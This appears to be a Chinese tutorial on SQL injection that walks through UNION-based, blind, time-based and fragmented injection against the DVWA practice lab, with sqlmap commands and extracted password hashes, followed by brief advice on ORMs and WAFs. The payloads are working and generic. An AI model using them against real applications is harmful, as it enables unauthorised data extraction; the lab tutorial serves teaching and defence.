作為Web開發(fā)人員，如果有一個熟悉的攻擊媒介，那就是注入，尤其是這個注入。在OWASP上 ，排名前10位的注入在SQL的注視下排名第一。如今使用SQL 非常普遍，易于自動化，但同時也會造成很多不可修復(fù)的損害。話雖如此，重要的是要提到SQL注入（從這里開始將被稱為SQLi）是一個具有多種風(fēng)格的簡單概念。下面就來了解一下SQL注入基礎(chǔ)知識，這里盡可能多的SQL DB風(fēng)格出現(xiàn)在各種Web表單和開發(fā)人員錯誤的矩陣中。

　　SQL注入是什么

SQL注入（簡稱SQLi）是一種滲透Web應(yīng)用程序數(shù)據(jù)而不損害主機(jī)本身的方法。它使攻擊者可以從數(shù)據(jù)庫中提取數(shù)據(jù)，在某些情況下還可以從源代碼和其他敏感信息中提取數(shù)據(jù)。

進(jìn)行攻擊需要一個非常簡單的“黑客工具”：您的瀏覽器，使其易于訪問且易于學(xué)習(xí)和執(zhí)行。

有多種SQLi向量。最常見的請求涉及來自客戶端瀏覽器的HTTP請求。因此，在開發(fā)人員希望用戶提供簡單輸入（例如用戶ID）的情況下，攻擊者可能會嘗試注入SQL語句。例如，不要提供1，而是考慮以下輸入：

1' UNION SELECT password FROM users UNION SELECT '1

如果在注入的上下文中未考慮到后端代碼，則這種查詢可能會被利用。結(jié)果是通過簡單的Web表單提取數(shù)據(jù)庫信息。如果成功，則攻擊者無需訪問物理服務(wù)器。數(shù)據(jù)是可提取的，并且可以“合法”方式獲得。

如何進(jìn)攻

為了建立一個實(shí)際的例子，我使用了臭名昭著的Damn Vulnerable Web Application。它有多種形式，但是為了演示和提高速度，讓我們選擇使用Docker最快的一種：

docker run --rm -it -p 8080:80 vulnerables/web-dvwa

# The login screen would be @ http://localhost:8080

#

# While the login can be brute-forced, let's keep things simple for now:

# 1. Login - User: "admin", Password: "password"

# 2. Click "Create / Reset Database"

# 3. You're all set. Login again.

　　菜單模塊

從菜單中選擇“ SQL Injection”模塊。嘗試使用可能的輸入時，我們可以看到請求的參數(shù)是用戶ID，因此，第一個選項可以是 1：1

# ID: 1

# First name: admin

# Surname: admin

似乎我們收到了三個字段的響應(yīng)：ID，名和姓。

讓我們通過提供 '：'

# Output:

# You have an error in your SQL syntax; check the manual that

# corresponds to your MariaDB server version for the right

# syntax to use near ''''' at line 1

# Look how hackernoon's syntax highlighting is

# breaking up due to a single quote

# Think about how the same can affect

# SQL queries

此響應(yīng)在這里是有價值的信息。當(dāng)應(yīng)用程序返回錯誤并從后端轉(zhuǎn)發(fā)錯誤消息時，攻擊者將獲得實(shí)時反饋，以進(jìn)行不同的嘗試以進(jìn)行調(diào)整。

有時，作為一種防御機(jī)制，應(yīng)用程序返回通用錯誤消息而沒有任何提示性消息。仍然可以執(zhí)行攻擊并將其稱為“盲SQL注入”。 進(jìn)一步了解。

回到我們的注射任務(wù)。使用后 ' 該應(yīng)用程序返回了一條有用的消息，提示附近有錯誤 '''''。看起來注入是有效的，并且來自DB引擎的響應(yīng)是可見的。這意味著我們可以嘗試不同的方法并獲得可見的反饋。

SQL UNION語句是常見的幫助器。使用該工具，攻擊者可以將其他信息與結(jié)果統(tǒng)一起來并一起返回。我們將嘗試運(yùn)行下一個：

1' UNION SELECT '2

# Output: The used SELECT statements have a

# different number of columns

首先，讓我們回顧一下輸入：

1' 表示“以1結(jié)束語句并以撇號將其結(jié)束”。正是因?yàn)檫@個原因;能夠終止SQL查詢的邏輯部分， ' 如果未能正確逃脫，將會很危險。

UNION SELECT '2 是一個 UNION 選擇一個數(shù)字并打開另一個數(shù)字的語句 ' 與后端代碼中語句末尾的那個配對。

現(xiàn)在我們知道了 UNION 可能需要一些調(diào)整。用以下命令調(diào)用SQL語句時 UNION 數(shù)據(jù)庫引擎會嘗試將結(jié)果統(tǒng)一為一組。為了做到這一點(diǎn)，所有部分必須具有相同的列號，以便可以統(tǒng)一它們。

讓我們擴(kuò)展測試并提供另一列：

1' UNION SELECT 1,'2

# ID: 1' UNION SELECT 1,'2

# First name: admin

# Surname: admin

# ID: 1' UNION SELECT 1,'2

# First name: 1

# Surname: 2

不過，這并不是真正的提取數(shù)據(jù)。為了找到有意義的東西，我們必須找到解決方案的方式，但這絕對是有希望的。

1.第一步是從以下位置獲取數(shù)據(jù)庫名稱以查詢表：

1' union select 2, table_schema from

information_schema.tables union select 3,'4

這將產(chǎn)生三組，數(shù)據(jù)庫名稱在“ Surname”下：“ admin”，“ dvwa”，“ information_schema”。

2.我們感興趣 dvwa，因此我們將選擇它并查詢其架構(gòu)：

1' union select 2, table_name from

information_schema.tables where

table_schema = 'dvwa' union select 3,'4

該查詢產(chǎn)生表名稱：“ admin”，“ users”，“ guestbook”

3.“用戶”表通常是立即可疑的，其中包含有趣的數(shù)據(jù)，例如用戶名，密碼和其他個人身份信息（PII）。我們將對此進(jìn)行查詢（隨時修改請求并查詢所有可用信息)：

1' union select 2, column_name from

information_schema.columns where

table_name = 'users' union select 3,'4

我們以列名稱列表作為響應(yīng)。“用戶”和“密碼”似乎很有趣。

4.我們繼續(xù)直接查詢“用戶”表：

1' union select user, password from users

union select 1,2'

# ID:1' union select user, password from

# users union select 1,2'

# First name: admin

# Surname: admin

# ID:1' union select user, password from users

# union select 1,2'

# First name: admin # Surname:

# 5f4dcc3b5aa765d61d8327deb882cf99

# ID:1' union select user, password from users

# union select 1,2'

# First name: gordonb # Surname:

# e99a18c428cb38d5f260853678922e03

# ID:1' union select user, password from users

# union select 1,2'

# First name: 1337 # Surname:

# 8d3533d75ae2c3966d7e0d4fcc69216b

# ID:1' union select user, password from users

# union select 1,2'

# First name: pablo # Surname:

# 0d107d09f5bbe40cade3de5c71e9e9b7

# ID:1' union select user, password from users

# union select 1,2'

# First name: smithy # Surname:

# 5f4dcc3b5aa765d61d8327deb882cf99

# ID:1' union select user, password from users

# union select 1,2'

# First name: 1 # Surname: 2

它是：現(xiàn)有所有用戶和密碼的列表。出人意料的是（或沒有），密碼是明文形式的，甚至沒有像應(yīng)有的那樣散列。

　　安全級別：中

在“ DVWA安全性”下提高DVWA安全性級別->選擇 Medium。

這次，我們找到了一個下拉列表，而不是簡單的表單，其中包含某些用戶可供選擇。檢查瀏覽器開發(fā)工具會告訴我們 POST 正在使用兩個參數(shù)發(fā)送請求： id=1&Submit=Submit。由于頭文件不只幾個，因此我們可以使用任何一種攔截器來捕獲請求并使用不同的參數(shù)重復(fù)該請求。一個最喜歡的選項是BurpSuite。

快速設(shè)置以與BurpSuite進(jìn)行攔截

設(shè)置您的請求以通過代理；使用Firefox，這很容易 Preferences -> Advanced -> Network Settings -> Manual Proxy Configuration 并設(shè)置所有要通過的協(xié)議 127.0.0.1:8080 （BurpSuite的默認(rèn)設(shè)置）

前往BurpSuite Proxy 標(biāo)簽并設(shè)置 intercept on。Firefox發(fā)出的下一個請求應(yīng)在BS處停止，您可以決定停止，轉(zhuǎn)發(fā)或丟棄它。

轉(zhuǎn)到DVWA SQLi頁面，從下拉列表中選擇一個ID，然后單擊 Submit。該請求應(yīng)在BurpSuite上等待，然后我們可以將其發(fā)送到 Repeater 通過 Actions 菜單。

通過玩來戳服務(wù)器 id 的 POST 請求以以下形式顯示轉(zhuǎn)義字符 。所以每當(dāng)有特殊字符',#,-,$看來它正在逃脫。但是，不能使用特殊字符，不能防止 UNION 使用完全相同的語法進(jìn)行注入：

1 UNION SELECT user, password FROM users而已。根本沒有逃脫。后端代碼已經(jīng)將其包裝并完全獲取命令中的所有內(nèi)容。

　　安全等級：高

上一個安全級別顯示了一個鏈接，該鏈接會彈出另一個帶有控制請求的表單的窗口。嘗試使用先前的轉(zhuǎn)義符可以看出，此處的代碼“更好”，但仍有故障。注釋是逃避該行其余部分的好方法：

SELECT something FROM sometable # WHERE ...

# Will translate into the SQL query

SELECT something FROM sometable

注釋SQL行有不同的選項，常見的是 --, #, /* -以結(jié)尾的多行 */。

在“現(xiàn)實(shí)世界”中，這些對于描述代碼很有用：

SELECT name -- this is the name

FROM users -- users table

WHERE name="DAN" -- Dan is the CEO

對于SQLi，注釋有助于忽略后面的其余代碼，因此請考慮以下PHP代碼：

// Check database

$query= "SELECT first_name, last_name FROM users

WHERE user_id = '$id' LIMIT 1;";

查詢是 LIMITed到一個結(jié)果，使得很難提取大量數(shù)據(jù)，而忽略了 LIMITation可以繞過它：

# First input:

1 UNION SELECT user,password from users

# Translates to

SELECT first_name, last_name FROM users

WHERE user_id = '1 union select user,password' LIMIT 1;

由于查詢結(jié)果僅限于一組，它將不斷返回 first_name， last_name，而忽略 UNION。

然后讓我們再試一次：

1 UNION SELECT user,password from users#

# Limitation ignored

SELECT first_name, last_name FROM users

WHERE user_id = '1 union select user,password FROM users';

　　SQLi

當(dāng)應(yīng)用程序不返回SQL錯誤但仍然容易受到攻擊時，將使用盲SQL注入。這實(shí)際上與普通SQL相同，但是攻擊者必須使用一系列正確/錯誤測試來確定漏洞是否存在。另一種方法是基于時間的。通過發(fā)送 SLEEP 在查詢中，攻擊者可以根據(jù)顯示響應(yīng)所花費(fèi)的時間判斷答案是否肯定。

基于時間的盲SQL注入依賴于數(shù)據(jù)庫暫停指定的時間量，然后返回結(jié)果，表明成功執(zhí)行了SQL查詢。使用此方法，攻擊者使用以下邏輯枚舉所需數(shù)據(jù)的每個字母：

如果第一個數(shù)據(jù)庫名稱的第一個字母為'A'，請等待10秒鐘。

如果第一個數(shù)據(jù)庫名稱的第一個字母為'B'，請等待10秒鐘等等

-盲SQL注入— OWASP

讓我們使用以下命令測試DVWA盲SQLi模塊 low 安全級別。簡單的輸入 1 系統(tǒng)返回 User ID exists in the database。輸入錯誤 ' 響應(yīng)是 404 一條消息 User ID is MISSING from the database。

下一步是研究布爾攻擊是否是可選的：

# Input

'1 AND 1='1

>> User ID exists in the database.

# Ok, that was supposed to be a truthy signal.

# Input

'1 AND 1='2

>> User ID is MISSING from the database.

# Good! It seems a boolean-based blind attack is

　　valid

從這里開始，就需要將已知結(jié)果分為錯誤/肯定的陳述，攻擊者可以從中得出答案。例如：

# This input returns 404

1' and (select user from users where

user_id=1)='test' and 1='1

# However this is successful

# This means the name is 'admin' where user_id = 1

1' and (select user from users where

user_id=1)='admin' and 1='1

　　碎片化的SQLi

鮮為人知的方法，但是在某些字符例如 ' 轉(zhuǎn)義，但用戶可以控制兩個不同的字段。一個明顯的例子是登錄頁面。當(dāng)應(yīng)用程序?qū)ψ址M(jìn)行轉(zhuǎn)義時，例如使用 ，攻擊者可以通過創(chuàng)建自己的逃避來避開它，如下所示：

username:

password: or 1 #

$query = select * from users where username='".$username."'

and password='".$password."'";

轉(zhuǎn)換為：

select * FROM users where username='' or password='

or 1 # ';

反斜杠轉(zhuǎn)義以下單引號，從而導(dǎo)致應(yīng)用程序讀取用戶名值的情況如下： '' or password=' or 1 # '。上面的語句將始終返回 true。確保將其后面的命令部分作為注釋忽略。

　　使用sqlmap自動化事物

人們必須熟悉處理不同情況的不同技術(shù)。但是，如果您不是專家，那么重寫有效載荷并記住所有選項將很困難。我們可能會錯過的人為錯誤和假陽性也可能造成干擾。 Sqlmap可以提供幫助。

sqlmap 是一個CLI工具，可自動執(zhí)行掃描并提供相關(guān)信息。如果可能，它可以從數(shù)據(jù)庫中獲取信息，例如數(shù)據(jù)庫名稱，甚至表。它還將標(biāo)識盲目的SQLi并報告可選技術(shù)（布爾或基于時間）。

這是在DVWA盲SQLi級別上的簡單操作

# Scanning the full form path with parameters

# Note how cookies are also passed to the scanner

for authentication

sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?

id=1&Submit=Submit#"

--cookie="PHPSESSID=abcd;security=low"

--dbs

sqlmap resumed the following injection point(s)

from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or

HAVING clause

Payload: id=1' AND 5756=5756 AND

'XWif'='XWif&Submit=Submit

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

(query SLEEP)

Payload: id=1' AND (SELECT 5198 FROM

(SELECT(SLEEP(5)))xyFF)

AND 'lswI'='lswI&Submit=Submit

---

available databases [2]:

[*] dvwa

[*] information_schema

掃描程序同時發(fā)現(xiàn)了漏洞和必須盲目攻擊的事實(shí)。它建議有效負(fù)載和可以使用的當(dāng)前可用數(shù)據(jù)庫：

# Running the same scan with a -D for db name

# and --tables to enumerate the dvwa db

sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?

id=1&Submit=Submit#"

--cookie="PHPSESSID=abcd;security=low"

-D dvwa

--tables

Database: dvwa

[2 tables]

+-----------+

| guestbook |

| users |

+-----------+

　　防御

“ ORM ” —一個普遍的信念是，處理SQLi的一種好方法是使用ORM層。ORM不僅提供數(shù)據(jù)結(jié)構(gòu)管理，而且還消除了構(gòu)建原始數(shù)據(jù)庫查詢的責(zé)任。這通常是有幫助的;將進(jìn)行查詢的責(zé)任轉(zhuǎn)移給更有經(jīng)驗(yàn)的人是有意義的。但是，不應(yīng)盲目進(jìn)行。雖然ORM通常是一個，但它不是SQLi安全解決方案。ORM可以輕松地變成一把雙刃劍。如果被破壞，ORM可能會變成世界范圍的SQL注入漏洞。ORM用戶必須熟悉注入方法并測試自己的應(yīng)用程序。

“我會說這是任何ORM的基準(zhǔn)期望，是的。只要您使用ORM的核心API或查詢構(gòu)建器，這就有可能是為什么未在文檔中提及它的原因。這就是需要注意的地方……ORM提供了許多構(gòu)建數(shù)據(jù)庫查詢的方法，但它們也為您提供了選擇/靈活性，可以將“原始”，“自己動手”查詢編寫為字符串……或者允許您編寫某些部分生成的查詢作為原始字符串。顯然，您要避免這樣做，因?yàn)檫@樣做有點(diǎn)違反了使用ORM的目的……但是，時不時都有這種情況。”

　　-由@ feather-hmalone提供的TypeOrm問題回復(fù)

WAF—Web應(yīng)用程序防火墻可以通過過濾傳入的可疑請求（例如SQLi的請求）或跨站點(diǎn)腳本有效負(fù)載來提供很大的幫助。這些也依賴于其規(guī)則的力量， 如果實(shí)施不正確，則可以繞開它們。

自衛(wèi)-牢記最佳實(shí)踐來構(gòu)建事物是一個很好的方向。聽起來很明顯，但事實(shí)并非如此。最佳實(shí)踐心態(tài)很好，但這并不意味著可以將每個職責(zé)都轉(zhuǎn)移到另一個層。當(dāng)涉及到安全性時，尤其是對于負(fù)責(zé)大多數(shù)Web數(shù)據(jù)泄漏的媒介而言，應(yīng)該知道如何進(jìn)行自我防御。熟悉攻擊和工具可以使敏感信息泄漏有所不同。

以上就是關(guān)于SQL注入基礎(chǔ)知識的全部內(nèi)容，想了解更多關(guān)于SQL的信息，請繼續(xù)關(guān)注中培偉業(yè)。